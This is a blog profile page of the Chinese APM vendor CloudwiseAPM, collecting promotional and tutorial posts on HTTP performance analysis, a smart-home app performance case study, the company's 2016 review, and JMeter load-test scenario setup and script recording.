CloudwiseAPM

CloudwiseAPM 查看完整档案

填写现居城市  |  填写毕业院校  |  填写所在公司/组织填写个人主网站
编辑
_ | |__ _ _ __ _ | '_ \| | | |/ _` | | |_) | |_| | (_| | |_.__/ \__,_|\__, | |___/ 该用户太懒什么也没留下

个人动态

CloudwiseAPM 发布了文章 · 2017-03-21

HTTP多维度性能分析,多种场景轻松筛查

你有没有遇到这样的问题:

如何快速找出,访问速度慢需要使用CDN加速的服务器或域名?
如何快速发现常见HTTP错误类型有哪些,经常发生在怎样的场景下?
上线CDN到底有没有效果,如何进行不同日期维度不同地域维度的数值对比?
月底向老板汇报,如何做出逻辑清晰、对比明显的运维报告呢?

透视宝HTTP多维度性能分析,通过强大的过滤筛选漏斗,帮助您快速查找发生缓慢、发生HTTP错误或发生网络失败的域名或者请求,并进行全方位的关联分析。将一个笼统的问题,精准细化到对应的特定问题。

多纬度高效的发现问题

您可以通过透视宝采集的HTTP性能数据定位存在问题的HTTP请求,从而找到响应缓慢、发生HTTP错误、发生网络失败的域名或者请求。

您也可以通过设置过滤条件,如:域名、响应时间、请求等多个维度,精准查看统计数据,

1

全方位深度的问题分析

当发现故障后,我们可以通过“图表”和“快照”深入分析,准确找到发生性能问题的原因,及时对症下药,便可快速准确的解决问题。
您可以添加过滤条件,使用强大的过滤筛选功能进行多维度的关联分析。例如:通过运营信息或错误失败的条件组合,确定问题的原因是代码效率还是外部因素。

2

直观的图表分析

通过图标直观的查看HTTP请求的响应时间分布图、地域分布图、网络请求(TOP10)列表、HTTP错误类型(TOP5)列表、网络失败类型(TOP5)列表以及运营商、接入方式、操作系统、设备、App版本的各种图表。添加请求过滤条件后,还可以查看响应时间和请求数趋势图和响应时间面积图。

3

精准的快照分析

查看网络请求快照配合时间控件的使用,能够精准定位到单次请求,发现影响单次请求的性能问题。有堆栈信息时,还可以通过单次请求拓扑分析图进行端到端追踪,进一步分析后端性能。

4

想快速解决HTTP性能问题?来透视宝
立即体验:https://www.toushibao.com/

查看原文

赞 0 收藏 0 评论 0

CloudwiseAPM 发布了文章 · 2017-01-18

裂变2016,云智慧舰队扬帆“互联网+”时代

2016年是中国企业践行互联网+转型的创新之年,是中国互联网由消费互联网向产业互联网的晋级之年,也是云智慧由SaaS服务商脱胎换骨,华丽变身业务运维解决方案服务商,实现资源聚合、产业裂变之年。过去一年里,云智慧推出了面向企业核心业务全生命周期的业务运维解决方案,孵化了专注于大数据可视化的全资子公司——北京天机数测数据科技有限公司。云智慧通过“三宝一平”为数十家中大型企业成功实施了一站式的业务运维解决方案服务。

图片描述

七年风雨 由IT监控专家到业务运维解决方案服务商

过去20年,中国完成了从消费互联向产业互联的转型升级,从线上到线下,从虚拟经济渗透到实体经济,从ICT行业影响到传统产业,社会经济的方方面面已经和互联网完全融合,“互联网+”以前所未有的速度推进各行业的创新发展,数字经济浪潮渗透进中国商业社会的各个角落。
成立于2009年的云智慧一直伴随着中国互联网产业的高速发展而不断成长,诞生之初恰逢互联网爆发前夜,骤增的网民数量让IT 基础设施仍然薄弱的网站访问体验差强人意,云智慧适时推出的监控宝,以创新的SaaS服务模式极大的保障了企业网站的高可用,降低了企业IT运维成本,迅速得到了广大互联网企业的认可。在2016年,监控宝分布式监测网络节点达到300个,陆续推出的实时监控大屏和强大的数据报表功能,为30万企业的超过48万个网站,2万多台服务器,提供了更可靠、更经济的IT监控服务,成为运维人员必备的IT监控神器。

随着移动互联网的全面引爆,智能终端用户规模成指数级增长,移动应用的性能问题日益凸显。云智慧的第二款产品透视宝:面向业务的端到端应用管理(APM)平台,解决用户体验前置带来的企业IT管理痛点,深入至代码级的性能监控和数据采集、分析,准确定位影响用户体验的任何风险因素。2016年透视宝为20多个行业的用户提供了性能管理和优化服务,发现性能问题54亿次,保障了7200万终端用户的体验,帮助客户提升用户满意度63%。

图片描述

移动互联网和云计算的普及改变了产品交付形态,以敏捷开发、持续集成和持续交付为特征的DevOps在逐渐取代传统IT开发模式,对应用测试同样提出了更高的要求。新一代面向用户体验的压测3.0方法应时而生,云智慧根据全链路压测体系打造的压测宝,可以通过全球分布式压测点快速发起高达百万并发的压力,对用户网络、应用、第三方服务及基础设施进行“全覆盖”式的业务容量测试,并借助深度集成的APM产品实时定位性能瓶颈,为敏捷开发和持续交付提供支持。

在互联网+时代,企业核心业务对IT的依赖程度越高,IT对业务的影响就越大,传统IT管理方法难以满足企业全面互联网化的需求。云智慧以用户体验为核心,以业务价值为导向构建的业务运维支撑平台,遵循业务运维监控指标和业务运维考评规范,对业务数据和IT运维数据进行分层获取、整合、分析、呈现,从用户视角准确监测和分析内、外部IT环节对业务质量的影响,确保业务管理流程的高效管控,全面提升企业运营管理能力与业务分析预测能力。

在产业互联网成为中国经济新引擎的今天,云智慧凭借“三宝一平”(监控宝、透视宝、压测宝和业务运维平台)为银行、证券、保险、制造、航空、政企、零售、互联网等十几个行业用户提供了高可靠的业务运维解决方案,帮助企业快速实现业务转型和IT价值提升。

裂变增长 云智慧舰队逐浪“互联网+”潮头

2016年是中国推进供给侧结构性改革的攻坚之年,企业服务市场告别了2015年的喧嚣回归理性,只有真正契合用户需求的公司才能获得资本的青睐。云智慧凭借多年来在大数据技术方面的研究成果,于2016年6月进行了裂变式增长,孵化出全资子公司——北京天机数测数据科技有限公司,在短短三个月时间里就获得了由红杉资本和戈壁创投联合投资1000万元人民币天使轮融资。

天机数据通过实时大数据可视化解决方案赋予企业、政府大数据分析能力,解决DT时代用户数据发现、执行分析和结论产生中的需求痛点。而云智慧与天机数据围绕业务运行和数据运营打造的完整解决方案,把两个公司的差异化的产品和中大型企业的服务能力形成聚力,既能满足智慧城市、行业用户的个性化大数据解决方案需求,又能满足互联网+企业在产业转型升级过程中的综合性IT管理和业务健康分析的需求。

2017年由云智慧领航,天机数据护航的航母舰队将沿着政企客户的创新发展之路砥砺前行,专业、专注、创新服务更多的中、大型行业客户,助力中国企业在互联网+的大潮中追风破浪!

图片描述

查看原文

赞 0 收藏 0 评论 0

CloudwiseAPM 发布了文章 · 2017-01-09

实战|智能家居行业移动应用性能分析

随着移动互联网和物联网技术的成熟,智能家居再度成为全球制造业转型升级的焦点,传统制造业巨头和新兴互联网巨头纷纷布局,据调研机构statista数据显示,截至2016年10月,全球智能家居市场收入为168.17亿美元,中国市场仅次于美国,达到11.84亿美元。未来几年,中国智能家居产业的复合增长率预计为每年62.5%,到了2021年市场规模将达134.29亿美元。

图片描述

而早前一份中国智能家居行业的调查数据显示,虽然用户对智能家居的感兴趣程度高达95.2%,但却有87.5%的用户对智能家居现状不满,表示跟预期完全不符、或低于预期,智能家居的“智能化”仍停留在家庭设备的联网协同上,远没有真正提升人们的生活感受,最直观的表现就是智能家居APP的用户体验差。应用作为人机交互的全新入口,其用户体验的重要性随着智能设备的普及越来越重要,那么如何才能通过持续优化用户体验,提高用户满意度,提升用户留存等关键业务指标呢?

下面就由云智慧应用性能优化专家跟大家聊聊智能家居行业移动应用性能分析的那些事,内容分为三方面:1、行业APP常见性能问题;2、行业APP应用性能对比;3、APP应用性能诊断分析。
行业APP常见性能问题

春节将至,大家最关注的一件事就是抢火车票,然而12306的官方应用很难用,我们模拟春运抢票的付款场景:

图片描述

是什么原因导致这种问题呢?利用透视宝对主流移动应用进行诊断,发现以下几个维度出现了问题:关键业务流程慢、页面交互响应慢、登录缓慢、支付缓慢失败、图片加载失败等等。原因可能有:兼容性问题、网络问题、资源加载慢等情况。影响结果:订单成功率下降、支付成功率下降、用户体验不好、用户流失……

你知道看起来不起眼的APP交互性能慢会造成多少用户流失吗?

图片描述

一项移动用户调查显示,60%的用户会对加载时间超过 3 秒钟的APP失去兴趣,74%的受调查者表示等待时间不会超过 5 秒钟,当遇到一个性能表现很差的APP应用时,1/3 的受访者表示将转向竞争对手的应用,性能问题会造成平均每天5%的用户流失!

产品经理或运营同学也许会希望通过用户反馈来优化用户体验、改进产品,然而数据显示这并不靠谱,下面再来看一下有多少用户遇到问题会反馈给我们的客服:

图片描述

200万的用户样本中,透视宝监测到有22%的用户遇到了糟糕的用户体验,却只有2%的用户会进行意见反馈,剩下的用户要么是默默忍受,要么转身离开。所以,我们需要持续不断的进行模拟用户行为测试,持续不断的提升APP用户体验!

为了及时、准确的发现APP的性能问题,为APP提供改进和优化建议,云智慧智能家居行业客户基于以下关键业务环节:

l 智能商城:在APP端嵌入H5页面,灵活展示所有智能家居产品,通过商城查看产品详情、下单与付款;

l 智能设备:展示设备遥控面板,可以增加多个设备,并通过控制面板遥控智能家居设备。

对APP测评提出了以下要求:

Ø 通过同行业APP的横向性能比较,了解行业用户对性能的平均容忍度;

Ø 通过不同纬度的测评分析报告,为APP改进和优化提供支撑依据;

Ø 通过测评准确定位产品缺陷、问题,提升APP用户体验,提高业务营收;

Ø 通过测评分析优化APP性能,提升行业竞争力排名,最终提高产品竞争力;

针对客户的行业特点和需求,我们制定的测试方案如下:

1、 在参测产品APP端植入透视宝Smart SDK,进行客户端真实用户体验数据的实时采集;

2、 通过监控宝对客户产品和竞品的服务接口质量按照重点地域进行监测;

3、 在150部手机上安装参测产品,用不同账户对所有功能页面进行反复点击,对关键业务流程:登录、设备与商城页面进行代码级性能检测。

在测试开始之前,先设定几个小目标:

² 用1分钟查找终端用户与APP最热门的交互视图与最慢的交互视图;

² 用3分钟定位APP崩溃问题与原因;

² 用1分钟定位影响APP加载缓慢的原因;

行业APP应用性能对比
首先,核对客户产品与竞品APP相同的关键业务,如:设备、商城; 然后,通过抓包工具获取客户与竞品APP关键业务的相关数据,如url接口、参数等;最后,使用监控宝API、网页监控对设备接口与商城H5页面进行监控,监控周期为3天;经过对所有数据的响应时间进行加权平均获取整体性能指标数据,具体如下图:

图片描述

从图中我们可以看出:智能家居行业整体应用性能在13.81 s,而客户产品(图中蓝色线)的整体应用性能的平均值却远高于竞品性能,整体性能越差对终端用户体验的影响越大。
通过监控宝的监测点,按照客户提供的主要业务区域进行各个产品页面与API接口的区域用户体验监测,整体结果如下:

图片描述

客户产品(见中间截图)在被测省份的整体访问体验基本在20 s以上,而竞品4在被测省份的整体体验基本在10 s以下。通过对比得出结论,客户产品要想在竞争中脱颖而出,产品应用性能的优化已经迫在眉睫。

透视APP应用性能分析

经过一轮模拟测试,透视宝对客户app给出了整体性能评分:

图片描述

从评分可知,客户产品问题主要集中在页面响应时间过慢、产品崩溃率较高,另外有部分用户出现http错误与网络失败的问题,具体到代码级的问题总结一下:

1、慢交互:监测发现群组聊天页面加载缓慢:ImGroupChatViewController (群组聊天) 平均耗时:1278s 出现一条慢的请求;
2、崩溃:150个终端用户中有31个终端共发生了64次崩溃,崩溃最高的版本为2.6.1。通过视图看到:

miui..POWER_HIDE_MODE_ACTIVITY 在应用版本2.6.1中崩溃次数高达31次,影响用户9人 com..uplus.ui.activity.WebActivity 在应用版本2.6.1中崩溃次数高达7次,影响用户5人 com.*.ui.activity.ServiceActivity$10 在应用版本2.6.4中崩溃次数高达5次,影响用户3人

3、页面加载缓慢:多个行为页面加载缓慢,体验糟糕,这些慢的视图如下:

com..uplus.ui.activity.MyInfoActivity(我的钱包) 平均耗时:12s 受影响用户数:80人 com..uplus.ui.activity.UPlusMainActivity(设备) 平均耗时:9s 受影响用户数:65人 com..uplus.ui.activity.WebActivity(首页) 平均耗时:6s 受影响用户数:102人 com..uplus.ui.activity.LoginActivity(登录) 平均耗时:4s 受影响用户数:138人

第一个目标:用1分钟查找终端用户与APP最热门的交互视图与最慢的交互视图。

图片描述

在这张图中能够直观的看到:
执行过慢的视图分别是ImGroupChatViewController (群组聊天)、 LoginViewController(登录)、ServiceTableViewController(服务表)、PersonalData(个人资料),执行时间均大于600ms,结合访问次数与产品规划可知,上述视图也是用户经常访问的。

图片描述

这是APP群组聊天的界面,对ImGroupChatViewController (群组聊天)进行深入分析:

图片描述

能够看到响应慢用户的手机信号、cpu与内存信息以及页面各个请求相关数据。经过1分钟的分析发现:单个视图的加载超过400ms即视为慢交互,该视图最慢的请求http://accesshall.mggame.com....执行时间为1005ms,需要做相应的优化。

第二个目标:用3分钟定位崩溃问题与原因。

透视宝崩溃分析能帮助用户追踪移动应用崩溃的堆栈、进程等信息,从而快速定位并解决问题。首先,介绍的是本轮测试崩溃概览:

图片描述

本轮测试受崩溃影响的用户有31位,崩溃次数为64次,崩溃率最高的版本是2.6.1; 崩溃最高的设备是Samsung SM-G9008V、iPhone 6Plus,崩溃最高的系统版本是Android 5.0。

崩溃地区分布:

图片描述

受崩溃影响最多的地区是山东、河北、北京等地区。

崩溃问题统计:

图片描述

本次测试受崩溃最多的类型为:android.content.ActivityNotFoundException,对应的版本为2.6.1,受影响用户有9位、崩溃次数是31次,对该崩溃问题进行性能定位与原因分析:

图片描述

造成Crash的代码为:点击com.imohoo.***.ui.first.GuideActivity$4时,发现处理行为视图:miui.intent.action.POWER_HIDE_MODE_ACTIVITY没有响应,受影响的APP版本为2.6.4,设备名称是小米手机、操作系统是Android 4.4.4 以及相关的cpu使用与内存占用数据。用户在操作APP时出现崩溃,操作轨迹是“打开启动页”与“com.imohoo.shanpao.ui.first.GuideActivity$4”页面交互后发生了Crash。

最终,我们用了3分钟定位到崩溃问题发生的终端用户硬件信息、代码线程反馈等信息。

第三个目标:用1分钟定位影响用户使用APP行为加载缓慢的原因。

透视宝用户行为分析能够根据用户使用App时执行的每个行为动作,从行为的角度来分析App的性能和用户受影响的情况,常见的如:加购物车、下订单、结算等。首先看一下用户行为相关性能数据:

图片描述

本次测试用户使用最多、平均耗时最多的业务依次为:设备、首页、登录等,平均耗时均超过了用户可容忍时间2000 ms,列举平均耗时较多的设备功能影响用户相关的数据:

图片描述

可以看到:本次测试用户遥控智能家电使用最多的终端设备为:Samsung SM-G9008V,系统版本为android 5.0,接入方式最多的是WIFI。影响设备运行缓慢的请求数据如下:

图片描述

设备视图com..uplus.ui.activity.UPlusMainActivity缓慢的请求主要是.net:7500/emuplus/secuag/common/appversion,耗时16466ms。针对缓慢请求从两方面进行分解:1、对请求响应时间进行分解,排除网络环境的原因;2、通过该请求页面直接到后端代码、服务、数据库进行详细分析,并定位慢元素与慢SQL语句。

图片描述

响应时间趋势图

图片描述

PHP代码追踪图

追踪到后台服务,我们发现影响请求缓慢的原因是mysql_query,响应时间达到5902.05ms:

图片描述

最终定位到对应的SQL语句。此时,我们用了1分钟时间发现影响加载缓慢的最终原因。
智能家居APP性能测试总结
一、首页启动速度:启动过程中做的事情越少越好(尽可能将多个接口合并),不在UI线程上作耗时的操作(数据的处理在子线程进行,处理完通知主线程刷新界面),在合适的时机开始后台任务(例如在用户指引界面就可以开始准备加载的数据),尽量减小包的大小。优化方法:量化启动时间,启动速度模块化。

二、页面浏览速度:json的处理(iOS自带的NSJSONSerialization库以及常用第三方库JSONKit以及SBJson),数据的分页(后端数据多的话,就要分页返回,例如网易新闻,或者 微博记录),数据压缩(大数据也可以压缩返回,减少流量,加快反应速度),内容缓存(例如网易新闻的最新新闻列表都是要缓存到本地,从本地加载,可以缓存到内存,或者数据库,根据情况而定),延时加载tab(比如app有5个tab,可以先加载第一个要显示的tab,其他的在显示时候加载,按需加载),算法的优化(核心算法的优化,例如有些app 有个 联系人姓名用汉语拼音的首字母排序) 。

三、数据库的优化:数据库设计上面的重构,查询语句的优化,分库分表(数据太多的时候,可以分不同的表或者库)。

图片描述

经过针对性的优化,客户APP在崩溃、响应时间、网络等方面得到了非常好的性能提升,透视宝整体性能评分得到了大幅度提升。

我们还有更多更温暖的体验

今年11月,透视宝新增加业务拓扑功能,通过业务拓扑图可以对关键业务环节的性能信息进行实时展示,并对业务的健康度,应用,事务,数据库,调用者和主机等关系到具体业务的性能数据进行综合分析,确保业务健康和用户体验的持续提升。

图片描述

查看原文

赞 1 收藏 1 评论 0

CloudwiseAPM 发布了文章 · 2016-12-30

云智慧压测实战分享之JMeter场景设置与监控

随着IT技术的飞速发展和企业互联网+业务规模不断扩张,IT架构经历了以数据计算为核心的C/S架构、以聚焦业务功能及服务化构建应用的经典互联网架构和如今整合IT资源和按需使用的云计算架构三个阶段。

1

与之同步发展的压力测试同样有三个发展阶段,从防火墙内的压力测试到基于云计算的压力测试,再到用户视角的外部压测,云智慧的压测宝就是第三代压力测试产品。而Apache JMeter作为一款大名鼎鼎的开源压力测试产品,在设计之初就被用来测试C/S结构的软件,其实现原理就是在防火墙内部产生压力来进行压测,测试目的也仅是对内网的系统硬件资源以及服务、数据库在内网并发负载下的性能表现。

2

继《云智慧压测实战分享之JMeter工具使用初探》和《云智慧压测实战分享之JMeter脚本录制实例》两篇内容之后,今天云智慧工程师为您带来的是《云智慧压测实战分享之JMeter场景设置与监控》,主要包含以下三部分内容:场景设置、场景运行和测试监听。

场景设置:

测试场景是测试过程中通常尽量模拟真实系统环境及用户操作而设计的场景,场景设计源于用户的真实操作,设计原则是贴近于用户实际操作,组合用户的各种操作到场景中来。JMeter是通过线程组的设置来完成场景设置的,有些复杂场景还需要与逻辑控制器配合。
JMeter 线程组实际上是建立一个线程池,JMeter根据用户的设置进行线程池的初始化,及在运行时做各种异常处理。下面我们用一幅图看一下线程组的一些参数:

3

名称:根据实际业务需求,最好有业务含义,与场景相符。
注释:可以随意设置,可以为空,但是为了以后方便使用,这里最好写上有意义的备注,和编程里的注释的目的是一样。
在取样器错误后要执行的的动作:就是线程组内某一个请求出错后的异常处理方式
继续:某一线程的某一请求出错后,继续运行,就是忽略本次错误继续执行;
Start_NextThread loop:进行下一次线程循环,类似于for循环中的continue;
停止线程:当某一线程失败或报错后停止本线程,类似于LoadRunner中的停止该Vu;
停止测试:某一线程某一请求失败后,停止所有线程,也就时停止本次测试,但不时立即停止测试,是在本场景中其他线程执行迭代结束后,停止本次测试;
stop Test Now:马上停止本次测试,不管其他线程是否执行结束;
线程属性:
线程数:可以理解为并发用户数,一个线程对应一个并发用户;与LoadRunner中的VU一致,只是LoadRunner中VU可以是线程,也可以是进程(以Http协议为例);
Ramp-up period(in second):线程启动开始运行的间隔时间,此处单位为秒,即所有线程多长时间内全部启动,假设线程设置为100(模拟100vu并发),Ramp-up period设置为10秒,那就是10秒内将100个线程启动,相当于每秒中有10个线程启动(100/10);如果设置1,就是场景发起后1秒内全部启动100个线程。
循环次数:“永远”就是场景不结束就所有线程一直发起压测,如果想每个线程迭代多少次之后就停止压测,就可以填入具体的数字。
Delay Thread creation until needed:选择该项,线程在Ramp-up period的间隔时间启动并运行,如100并发线程,10秒的ramp-up period时间,那么1秒种启动10个线程并运行采样器中的请求。如果不勾选,测试计划启动所有线程(100个)为new状态,但不立即运行采样器(sampler)中的请求,是按照ramp-up period时间来运行的,如100个线程,ramp-up 的时间是10秒,那么每秒会有10个线程有new状态转为Running,并执行采样器中的请求。实际测试场景设置时,选不选该项都不会影响测试结果。二者的区别是勾选线程是在间隔时间内建立启动并运行,不勾选是先建立所有线程然后按间隔逐步执行。
调度器: 选择调度器可以控制场景执行时间或指定那个时间段执行,如秒杀场景就可以设置为某日某点某分开始执行,某日某点某分结束,具体调度器中各个参数如下:
持续时间:表示脚本持续运行的时间,以秒为单位,例如脚本模拟用户持续不断登录1个小时,你可以在文本框中填写3600。如果在1小时以内,结束时间已经到达,它将会覆盖结束时间,继续执行。 
启动延迟:表示脚本延迟启动的时间,在点击启动后,如果启动时间已经到达,但是还没有到启动延迟的时间,那么,启动延迟将会覆盖启动时间,等到启动延迟的时间到达后,再运行系统。例如你的测试场景需要再另外一个场景结束后开始,上一个场景需要10分钟后结束,那么你可以再启动延迟中设置601秒,点击启动,就可以在上一个场景结束后,开始本次测试场景; 
启动时间:表示我们脚本开始启动的时间,当你不想立即启动脚本测试,但是启动脚本的时间不会再电脑旁的时候,你可以设定一个启动的时间,然后再运行那里点击启动,系统将不会立即运行,而是会等到你填写的时间才开始运行。
结束时间:与启动时间对应,表示脚本结束运行的时间。
注意:如果我们需要用到调度器来设定持续时间,如果线程数不够多到持续时间结束,我们就必须将循环次数勾选为永远,如果线程组里面有其他的循环,我们也需将该循环次数勾选为永远。

4

在云智慧压测宝中场景设置就简单多了,选择好脚本和测试数据后,设置并发用户和场景运行时间及压力发起方式,平行还是坡度,压测宝能自动计算每秒启动多少VU并发,如上图所示。
场景运行:
JMeter的场景运行方式分为两种,一种是GUI可视化运行,测试者可以实时看到压测执行过程和压测结果,像LoadRunner的Controller一样;另外一种是非GUI模式运行,即通过命令行像执行Shell一样,在命令窗口运行。
JMeter的场景运行可以在本地运行(即单机运行),也可以是远程运行,不论是GUI模式还是非GUI模式都支持本地和远程执行。本机运行类似于LoadRunner中将本机做为Controller同时也作为Agent;远程执行类似于LoadRunner中将Agent安装在别的机器上。
通常在需要大压力的场景下,一台机器产生的压力不能满足测试需求,就需要多台压力机,这时就需要远程执行,如下图所示:

5

GUI运行:GUI方式是可视化,直接通过点击鼠标就可以控制场景的启动和停止,同时也能随时查看场景的运行状况,实时结果,测试线程数等。
1.本地运行的所有请求从一台机器发出,如下图,设置了4个并发线程:

6

运行的快捷菜单按钮是:图片描述

,本地运行点击8按钮开始运行,或者通过运行菜单开始运行,如下图:

9
场景运行后,我们可以看到下图中的状态,时间00:00:01显示的是当前场景运行的时长,后面感叹号的图标是当前场景中是否有线程异常,0为没有线程异常,0/4中前面代表当前运行的线程数,后面的4代表共运行了4个线程。图片描述

在场景运行过程中点击,图片描述可以停止当前场景。
远程执行:
远程执行通常是在一台机器上的JMeter作为Controller,远程的多台机器(slave)作为负载生成器,JMeter控制台与负载机的通信是通过RMI方式来完成的。在负载机上运行Agent程序,首先启动jmeter-server,在JMeter控制机(Master)上点击12启动远程控制机。
说到这里需要补充说明一下,在启动远程机之前需要在JMeter控制机上配置jmeter.properties文件,将远程负载机IP地址配置到控制台jmeter.properties文件中;如下图所示,将远程负载机的IP地址配置在Remote_hosts=配置项后面,多台机器用逗号间隔,如果没有制定端口的话,默认不配置端口。

13

注意:远程运行方式如果脚本有依赖的参数文件或Jar包等文件,需要先把这些文件拷贝到远程机负载机上,这点不是很人性化,云智慧的压测宝就不存在这样的问题,只要把参数传上就可以了。
非GUI方式运行:
非GUI方式是没有JMeter图形化界面,在命令行窗口通过命令来运行场景,之所以用非GUI方式运行,是因为JMeter可视化界面及监听器动态展示结果都比较消耗负载机的资源,在大并发下GUI方式往往会导致负载机资源紧张,对性能测试结果造成影响。当然这个影响不是影响被测系统如导致响应时间变大,处理能力减小等,而是影响负载机负载压力的产生,如非GUI方式可以产生200TPS的负载,而GUI方式只能产生140TPS的负载。当然如果资源比较充足的情况下,GUI方式更能直观实时了解测试场景运行状况。至于用哪种方式,个人认为根据实际情况选择,资源不宽裕的情况下选择非GUI方式,资源充足的情况下可以用GUI方式。
非GUI方式运行命令共两种方式,如下:
1、 jmeter –n –t /home/jeff/script/jmeter_test.jmx –l /home/jeff/result/test.jtl
2、java –jar /apache-jmeter-3.0/bin/ApacheJMeter.jar –n –t /home/jeff/script/jmeter_test.jmx –l /home/jeff/result/test.jtl
jmeter 非GUI方式下的各种命令行参数这里不在细说,大家可以根据帮助文档按图索骥。
测试监听:
性能测试监控的主要任务是获取运行状态、收集测试结果,测试结果有事务的响应时间、吞吐率、服务器硬件资源性能(CPU、内存、DISK I/O、网络等)指标及JVM使用情况、数据库性能状态等,这些在JMeter中是监听器负责监听的工作。
JMeter监听器比较多,如下图所示:

14

长时间执行测试计划使用的监听器主要是Summary Report 或者aggregate Graph (聚合报告),也是今天主要介绍的内容。Summary Report以表格的形式显示采样结果,如果不同采样器(不同请求)使用相同的名字,那么测试结果在Summary Report中会统计到同一行,所以在给采样器命名时不要都为空或取相同的名字,根据实际业务进行命名。这个类似于LoadRunner脚本中的事物,如果事物名称一致,测试结果中不同脚本相同事物将被统计到一起,如下图所示:

15

Label:每个 JMeter 的 element (例如 HTTP Request )都有一个 Name 属性,这里显示的就是 Name 属性的值;

Samples:表示你这次测试中一共发出了多少个请求,我的测试计划模拟 10 个用户,每个用户迭代 10次,因此这里显示 100;

Average:平均响应时间 —— 默认情况下是单个 Request 的平均响应时间,当使用了 Transaction Controller 时,也可以以 Transaction 为单位显示平均响应时间;
Min: 最小响应时间 在测试场景中采样器一次请求最小的响应时间;
Max: 最大响应时间 在测试场景中采样器一次请求最大的响应时间;
Error%: 本次测试中出现错误的请求的数量 / 请求的总数;
Throughput: 吞吐量 —— 默认情况下表示每秒完成的请求数( Request per Second )RPS或者是TPS。
上面字段基本上已经能够说明测试结果,当然测试者也可以根据自己需求添加一些需要监控的参数,点击config按钮,弹出下图中配置页面:

16

提示:保存的监听参数越多,对本机和负载机的IO产生的压力越大,所以并不是参数越多越好,够用就可以了。
Aggregate Graph(聚合报告)

17

在Aggregate Report中,会显示一行数据,共有10个字段,Label、#Samples、Average、Min、Max、Error%的含义和Summary Report一样,有差异的字段如下:
Median:中位数,也就是 50% 用户的响应时间;
90% Line:90% 用户的响应时间;
Throughput:吞吐量——默认情况下表示每秒完成的请求数(Request per Second),当使用了 Transaction Controller 时,也可以表示类似 LoadRunner 的TPS[Transaction per Second];
KB/Sec:每秒从服务器端接收到的数据量,相当于LoadRunner中的Throughput/Sec;
通过上面的介绍,可以看到Summary Report和Aggregate Graph(聚合报告)类似,只是 聚合报告更详细一点。说了这么多是不是觉得jmeter的监听器很复杂,所以还是压测宝更方便,不需要设置什么监听器,测试结果直接实时展现,如下图所示:

18

好了,今天就分享到这里,JMeter 还有很多内容,后面有机会再一一介绍,谢谢大家!

查看原文

赞 1 收藏 0 评论 0

CloudwiseAPM 发布了文章 · 2016-12-29

云智慧压测实战分享之JMeter脚本录制实例

在前面的《云智慧压测实战分享之JMeter工具使用初探》中我们对JMeter的功能特点和常用元件做了简单介绍,接下来说说JMeter的脚本录制。JMeter有多种录制脚本方法,其中最常见的是通过第三方工具Badboy录制,另外还有JMeter自身设置(Http代理服务器+IE浏览器设置)来录制脚本,下面以压测宝为例来介绍下Badboy脚本录制过程。
 注:使用JMeter的代理或是Badboy进行录制的时候,操作不能太快,不然容易造成录制失败。
1、打开Badboy工具,在地址栏目中输入被测试项目的地址。注意:Badboy启动默认是录制状态,为红色按钮,如图:

1

录制完成后点击工具栏旁边黑色按钮,结束录制。 
2、选择“文件”--Export to JMeter…

2

 3、打开JMeter工具,选择“文件”-->“打开”选择刚才保存的文件(.jmx类型),将文件导入进来了。

3

录制的脚本一定要添加HTTP Cookie Manager,否则脚本运行失败。
对于JMeter来说,一个测试计划只能有一个Cookie管理器,因为当多个Manager存在时,JMeter没有方法来指定使用哪个Manager,同时一个Cookie Manager中存储的Cookie也不能被其他Cookie Manager所引用,所以同一个测试计划中不建议使用多个Cookie Manager。

JMeter压测实例

下面我们用几个JMeter压测实例来熟悉一下JMeter的使用。
1、使用JMeter进行http接口测试
Jmter工具设计之初是用于性能测试的,它在实现对各种接口的调用方面已经比较成熟,因此可直接使用JMeter工具来完成对Http接口的测试。
1)、开发接口测试案例的整体方案:

•    第一步:我们要分析出测试需求,并拿到开发提供的接口说明文档;
•    第二步:从接口说明文档中整理出接口测试案例,里面要包括详细的入参和出参数据以及明确的格式和检查点。
•    第三步:和开发一起对接口测试案例进行评审。
•    第四步:结合开发库,准备接口测试案例中的入参数据和出参数据,并整理成csv格式的文件。
•    第五步:结合接口测试案例文档和csv格式的数据文档,做接口测试案例的自动化案例开发。

2)、接口自动化适用场景:
目前设计的自动化接口测试案例有两个运行场景:

  1. 测试前置、开发自测:一个新的自动化接口测试案例开发完成后,直接发给接口对应的开发,安排在开发本地环境执行,一旦开发确认完成接口开发,就开始执行接口测试案例,基本上可以实时拿到测试结果,方便开发快速做出判断。【开发本地运行的方式就是打开JMeter工具,导入JMX文件,开始执行即可。】

  2. 回归测试:开发本地测试通过后,或整个需求手工测试通过后,把自动化的接口测试案例做分类整理,挑选出需要纳入到回归测试中的案例,在持续集成环境重新准备测试数据,并把案例纳入到持续集成的job中来,这些用于回归的接口测试案例需要配置到持续集成平台自动运行。
    3)、接口测试环境准备

    •     Jdk1.6或以上:http://www.oracle.com/technetwork/java/javase/downloads/index.html
    •     JMeter,下载址址:http://jmeter.apache.org/download_jmeter.cgi
    •     插件的下载安装地址:http://www.jmeter-plugins.org/

    4)、创建工程:

  a、打开JMeter:下载好JMeter后,双击bin目录下的jmeter.bat文件:
图片描述

  b、添加线程组:在“测试计划”上点击鼠标右键-->添加-->threads(Users)-->线程组,添加测试场景设置组件,接口测试中一般设置为1个“线程数”,根据测试数据的个数设定“循环次数”。

5

  c、添加“HTTP Cookie管理器”:

6

  d、添加“Http请求默认值”组件,当被测系统有唯一的访问域名和端口时,这个组件很好用:

7

  e、在“HTTP 请求默认值”组件配置页面,填写被测系统的域名和端口,http请求的实现包版本以及具体协议类型,线程组里的所有“HTTP Sampler”可默认使用此设置。

8

   f、在“线程组”里添加“HTTP 请求”的Sampler

9

    g、在HTTP请求设置页面,录入被测接口的详细信息,包括请求路径,对应的请求方法,以及随请求一起发送的参数列表:

10

  h、设置检查点:在被测接口对应的“HTTP 请求”上,添加“响应断言”

11

  i、在设置页面上添加对相应结果的正则表达式存在性判断即可:

12

   j、添加监听器:方便查看运行后的结果

13

 上述步骤完成了一个简单测试实例的创建,复杂测试实例均在此基础上扩展完成。使用JMeter工具开发的接口测试案例,一个子系统建议放在同一个“测试计划”中,流程测试可以通过“线程组”来区分,这样也便于设定不同的测试数据个数。比较独立的接口,可以统一放在一个线程组内,顺序完成测试。 
流程性接口的测试:如果要测试的接口可以组成一个流程,只需要顺序添加多个“HTTP 请求”的Sampler,各请求之间可以提取需要在上下文传递的数据作为参数,以保证流程中数据的一致性。

2、JMeter分布式测试

在使用JMeter进行性能测试时,如果并发数比较大(比如最近项目需要支持1000并发),单台电脑(CPU和内存)可能无法支持,这时可以使用JMeter提供的分布式测试的功能。
